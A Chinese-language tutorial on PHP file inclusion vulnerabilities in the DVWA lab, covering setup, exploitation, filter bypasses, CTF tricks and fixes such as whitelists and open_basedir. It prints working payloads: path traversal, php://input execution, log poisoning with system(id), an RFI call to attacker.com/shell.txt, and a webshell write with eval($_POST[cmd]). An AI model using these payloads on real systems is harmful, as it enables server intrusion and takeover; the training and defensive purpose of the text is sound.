公司动态
Web文件包含漏洞实战:从环境搭建到利用与防御全解析
这类工具最值得先看的不是功能列表而是能不能在普通环境里稳定跑起来。Web文件包含漏洞是渗透测试和Web安全学习里绕不开的一个基础但关键的环节。很多人一上来就找各种Payload往里怼结果要么环境没配对要么路径没写对要么压根没理解为什么能包含成功。这篇文章不绕弯子直接从一个实战靶场比如标题里的“青岑网安”这类环境出发拆解文件包含漏洞从环境搭建、漏洞发现、利用到防御的完整链条。我会把重点放在“如何复现”和“为什么能这样利用”上让你不仅能照着做出来更能理解背后的逻辑下次遇到类似场景能自己分析。我更建议把第一次测试拆成三步启动靶场、找到漏洞点、构造Payload并验证。下面按实际落地顺序拆一遍。1. 先搞清楚“文件包含”到底能做什么以及为什么危险文件包含漏洞核心是Web应用程序在引入包含外部文件时没有对用户输入的文件路径或名称进行严格的过滤。攻击者可以利用这个缺陷让程序去包含并执行本不应该被访问的文件比如系统配置文件、程序源码甚至是攻击者上传的恶意脚本。1.1 它和“文件上传”漏洞有什么区别这是新手最容易混淆的点。文件上传漏洞是攻击者成功上传了一个恶意文件到服务器而文件包含漏洞是攻击者利用程序已有的“包含”功能去读取或执行服务器上已经存在的某个文件。两者可以结合上传一个图片马再通过文件包含去执行它但原理不同。文件包含更像是一个“任意文件读取”或“本地代码执行”的漏洞。1.2 常见的包含函数和场景在PHP中最典型的是四个函数include()require()include_once()require_once()这些函数的本意是好的比如用于引入网站的头部、尾部模板或者引入数据库配置文件避免重复代码。漏洞就出在包含文件的路径是由用户可控的变量传入的。例如?php $page $_GET[page]; // 用户通过 ?pageabout.php 传入 include($page . .php); ?看起来好像加了.php后缀就安全了如果用户传入?page../../../../etc/passwd%00在特定PHP版本下%00空字节会截断后面的.php从而成功包含系统文件。这就是经典的“空字节截断”漏洞。虽然在高版本PHP中已被修复但理解这个原理对于把握漏洞本质至关重要。1.3 漏洞的危害等级文件包含漏洞的危害可大可小取决于能否包含远程文件如果配置了allow_url_includeOn攻击者可以直接包含一个远程服务器上的恶意脚本远程文件包含RFI危害极大。包含文件的权限Web服务器进程如www-data, apache对哪些文件有读权限如果能读到/etc/passwd、/proc/self/environ环境变量、网站源码config.php含数据库密码危害就很高。是否可执行代码如果包含的文件内容被当作PHP代码执行比如包含了一个图片马但图片开头有?php phpinfo();?那么攻击者就能获得一个WebShell完全控制服务器。2. 搭建与配置你的本地测试环境在真实网站上测试是违法的所以我们必须有自己的沙盒。这里以最经典的“DVWA (Damn Vulnerable Web Application)”靶场为例因为它集成了文件包含漏洞模块且配置简单。2.1 基础环境准备你需要一个集成了Apache、PHP、MySQL的Web运行环境。对于Windows用户推荐使用XAMPP或PHPStudy。下载安装后一键启动Apache和MySQL服务。对于macOS用户可以使用内置的Apache和PHP也可以使用MAMP。对于Linux用户使用包管理器安装例如Ubuntu/Debiansudo apt install apache2 php mysql-server。关键点PHP版本建议选择5.x如5.4.45和7.x各准备一个环境。因为很多经典的漏洞如空字节截断在PHP5.4以下版本有效而新版本的学习则需要了解新的绕过技巧。用Docker分别运行两个版本的PHP环境是最干净的做法。2.2 部署DVWA靶场从DVWA官网GitHub下载最新代码。将解压后的文件夹例如重命名为dvwa放到你的Web服务器根目录。XAMPP:C:\xampp\htdocs\PHPStudy:安装路径\www\Linux Apache:/var/www/html/在浏览器访问http://localhost/dvwa/setup.php。点击页面中的“Create / Reset Database”按钮它会帮你创建数据库和表。如果遇到数据库连接错误需要手动修改配置文件。找到dvwa/config/config.inc.php检查数据库连接信息$_DVWA[ db_server ] 127.0.0.1; $_DVWA[ db_database ] dvwa; $_DVWA[ db_user ] root; $_DVWA[ db_password ] pssw0rd; // PHPStudy默认密码可能是 root根据你的MySQL实际密码进行修改。修改完成后回到setup页面再次点击重置数据库。登录默认账号admin/password。2.3 配置漏洞安全等级DVWA左侧有“Security”选项将安全级别设置为“Low”。这是我们的学习起点过滤机制最弱。注意不要一上来就在“Impossible”级别钻牛角尖先理解最原始的漏洞形态。3. 从“Low”级别开始手把手复现漏洞进入“File Inclusion”模块。Low级别的源码非常简单?php $file $_GET[page]; // 直接获取用户输入没有任何过滤 ?页面上有两个链接“File1”和“File2”点击后URL分别变为?pagefile1.php和?pagefile2.php。3.1 第一步尝试目录遍历Path Traversal我们的目标是读取服务器上的其他文件。构造Payloadhttp://localhost/dvwa/vulnerabilities/fi/?page../../../../etc/passwd解释../表示上一级目录。我们从DVWA的漏洞路径dvwa/vulnerabilities/fi/开始猜测网站根目录的位置不断向上回溯直到抵达系统根目录然后读取/etc/passwdLinux或C:\Windows\System32\drivers\etc\hostsWindows。结果判断成功页面上显示了/etc/passwd文件的内容列出了系统用户。失败页面可能空白、报错“No such file”或直接显示“欢迎页面”。这说明路径跳的层级不对需要调整../的数量。Windows和Linux路径分隔符不同/vs\。目标文件不存在或Web服务器无权限读取。实战技巧我一般会先用一个确定存在的文件来测试路径深度比如包含DVWA自身的index.php?page../../index.php如果成功页面上会出现DVWA首页的HTML代码混杂在当前页面中说明路径正确。然后再用这个深度去包含系统文件。3.2 第二步利用PHP伪协议这是文件包含漏洞更强大的利用方式。PHP内置了一些“包装器”可以处理不同的协议。php://filter读取源码当直接包含.php文件时服务器会执行它我们看不到源代码。使用filter可以将其内容以其他形式如base64编码读取出来。?pagephp://filter/readconvert.base64-encode/resourcefile1.php解释php://filter是一个元包装器read指定过滤器convert.base64-encode将资源内容进行base64编码resource后面是要读取的文件路径。操作提交后页面会显示一串base64编码的字符串。将其复制在线或本地解码就能得到file1.php的完整源代码。这对于审计源码、寻找数据库密码等敏感信息至关重要。php://input执行代码这个协议允许你将POST请求的原始数据作为PHP代码执行。前提是allow_url_include需要开启。使用Burp Suite或HackBar等工具将请求方法改为POST。在URL中写入?pagephp://input在POST Body中写入?php phpinfo(); ?发送请求。如果配置允许服务器会执行phpinfo()函数返回PHP配置信息证明代码执行成功。3.3 第三步日志文件包含经典技巧Web服务器如Apache的访问日志默认会记录每一个请求包括请求头。如果我们可以包含这个日志文件并在User-Agent等字段中插入PHP代码那么当日志文件被包含时其中的代码就会被执行。找到日志路径常见路径有/var/log/apache2/access.log、/var/log/httpd/access_log等。可以通过报错信息或使用php://filter读取配置文件来猜测。污染日志使用浏览器插件或curl命令向该网站发送一个请求并将User-Agent设置为一段PHP代码。curl -A ?php system(id); ? http://localhost/dvwa/包含日志文件?page../../../../var/log/apache2/access.log结果如果包含成功并且日志中我们的恶意代码被原样记录那么system(id)命令就会被执行页面上可能会显示Web服务器进程的用户ID如www-data。4. 挑战中高级别绕过过滤机制在DVWA中将安全级别调到“Medium”和“High”看看源码增加了哪些防护以及如何绕过。4.1 Medium级别绕过Medium级别源码$file str_replace( array( http://, https:// ), , $file ); $file str_replace( array( ../, ..\\ ), , $file );它做了两件事删除http://和https://防止远程文件包含RFI。删除../和..\防止目录遍历。绕过方法双写绕过过滤函数str_replace不是递归的。它只进行一次替换。所以我们可以构造?page..././..././..././..././etc/passwd或者?page....//....//....//....//etc/passwd当../被删除后剩下的../又会组合成新的../。例如....//删除中间的../后剩下的./和/组合可能还需要根据实际情况调整。对于http://的过滤可以使用HttP://大小写绕过如果过滤不严谨或者使用其他协议如file://、php://。更有效的方法既然它只过滤了http和../我们直接使用绝对路径或PHP伪协议即可完全绕过。?page/etc/passwd // 绝对路径Linux ?pageC:\Windows\System32\drivers\etc\hosts // 绝对路径Windows ?pagephp://filter/readconvert.base64-encode/resourceindex.php // 伪协议注意绝对路径成功的前提是你知道文件的完整路径并且Web进程有权限访问。4.2 High级别绕过High级别源码if( $file ! include.php $file ! file1.php $file ! file2.php ) { echo ERROR: File not found!; exit; }它采用了白名单机制只允许包含include.php,file1.php,file2.php这三个文件。看起来非常严格。绕过思路利用文件包含本身的特性即使白名单限制了文件名但包含函数include()本身依然在工作。关键在于include.php这个文件是否存在我们可以利用的参数查看DVWA High级别的include.php源码它可能只是一个空文件或简单的包装器。但我们的思路可以转变利用file://协议虽然白名单要求文件名是file1.php但我们可以尝试?pagefile1.php然后通过file1.php文件内部是否还有可控制的包含点在这个例子中DVWA的High级别设计是死胡同旨在说明白名单是最佳实践。但在真实漏洞中白名单文件本身可能也存在包含漏洞二次包含。结合其他漏洞例如如果网站存在文件上传漏洞我们可以上传一个名为file1.jpg的图片马但内容包含PHP代码。然后通过文件包含漏洞利用路径拼接或空字节截断PHP5.3来包含它。虽然High级别固定了文件名但如果服务器配置错误如allow_url_includeOn且file1.php的内容是include($_GET[‘x’])那么我们可以通过?pagefile1.phpxhttp://attacker.com/shell.txt来实现攻击。这属于“漏洞组合拳”。这个级别的意义在于告诉我们最有效的防御是白名单固定前缀/后缀彻底杜绝用户输入控制完整路径。5. 从攻击者视角到防御者视角挖掘与修复5.1 如何主动挖掘文件包含漏洞参数收集在测试时关注所有接收文件路径或名称的参数如?file,?page,?load,?path,?lang等。功能点推测关注网站中切换语言、加载模板、下载文档、查看日志等功能。模糊测试对可疑参数尝试以下Payload基础遍历../../../../etc/passwd协议尝试php://filter/resource/etc/passwd空字节针对旧环境../../../boot.ini%00超长路径././././[重复很多]../etc/passwd代码审计在有机会看到源码时全局搜索include,require,include_once,require_once检查其参数是否用户可控。5.2 作为开发者如何修复文件包含漏洞原则永远不要相信用户输入。白名单是最佳实践如果只需要包含少数几个固定文件使用硬编码的白名单。$allowed_pages array(home.php, news.php, contact.php); if (in_array($_GET[page], $allowed_pages)) { include($_GET[page]); } else { include(error.php); }固定后缀如果需要动态包含也应为用户输入添加固定的后缀。$page $_GET[page]; include($page . .php); // 仍然危险可能被空字节或路径穿越绕过 // 更好的做法从白名单映射 $pageMap [about about.php, product product.php]; if (isset($pageMap[$page])) { include($pageMap[$page]); }严格限制路径使用basename()函数获取文件名去除路径部分。$file basename($_GET[file]); // 输入 ../../etc/passwd 会变成 passwd include(./templates/ . $file . .php);关闭危险配置在php.ini中确保allow_url_fopen Off allow_url_include Off设置open_basedir在php.ini或虚拟主机配置中使用open_basedir将PHP可访问的文件限制在网站目录内。open_basedir /var/www/html6. 实战排查清单与进阶思考当你自己搭建环境或测试时遇到问题按这个顺序排查6.1 漏洞利用不成功路径问题这是最常见的坑。先用php://filter读取一个已知存在的网站文件如index.php确认当前脚本的工作目录和路径回溯的层级。权限问题Web服务器用户如www-data可能无权读取/etc/passwd。尝试读取Web目录内的其他文件或/proc/self/environ环境变量有时可读。PHP配置问题allow_url_include是否关闭伪协议是否被禁用查看phpinfo()信息确认。过滤规则目标程序是否对输入进行了过滤或编码查看页面返回的源代码看你的Payload是否被修改。尝试大小写、双写、超长字符串等绕过方式。文件不存在你猜测的系统文件路径可能不对。Windows和Linux的常见敏感文件路径需要分别记忆。6.2 如何将漏洞利用稳定化如果成功包含了日志文件或通过php://input执行了代码下一步就是写入一个持久的WebShell。通过包含漏洞执行代码向Web目录写入一个一句话木马文件。// 利用 php://input 执行 POST: ?php file_put_contents(shell.php, ?php eval($_POST[cmd]);?);?然后直接访问http://target/shell.php用蚁剑、冰蝎等工具连接获得图形化交互的WebShell。6.3 在CTF比赛中的常见考点CTF中的文件包含题往往结合了各种技巧Session文件包含PHP的Session文件通常存储在/tmp/sess_[PHPSESSID]如果Session内容用户部分可控如$_SESSION[‘name’]$_GET[‘name’]就可以在Session文件中写入代码然后包含它。PHP封装协议嵌套编码php://filter/readconvert.base64-encode/resourcephp://input这类嵌套用法。结合文件上传上传一个内容为?php system(‘ls’);?的jpg文件然后通过包含漏洞利用%00截断或路径长度截断来包含它。包含/proc/self/fd/[数字]Linux中/proc/self/fd/目录下的文件描述符可能指向Web进程打开的文件如访问日志。这是一个有趣的利用点。踩过几次之后我发现很多文件包含漏洞的利用失败不是漏洞不存在而是对服务器环境、路径、权限和PHP配置的理解不够。真正的熟练是看到一个参数就能在脑子里快速过一遍可能的过滤方式并选出最可能成功的两三种Payload进行测试。这个思维过程比记住一百个Payload更重要。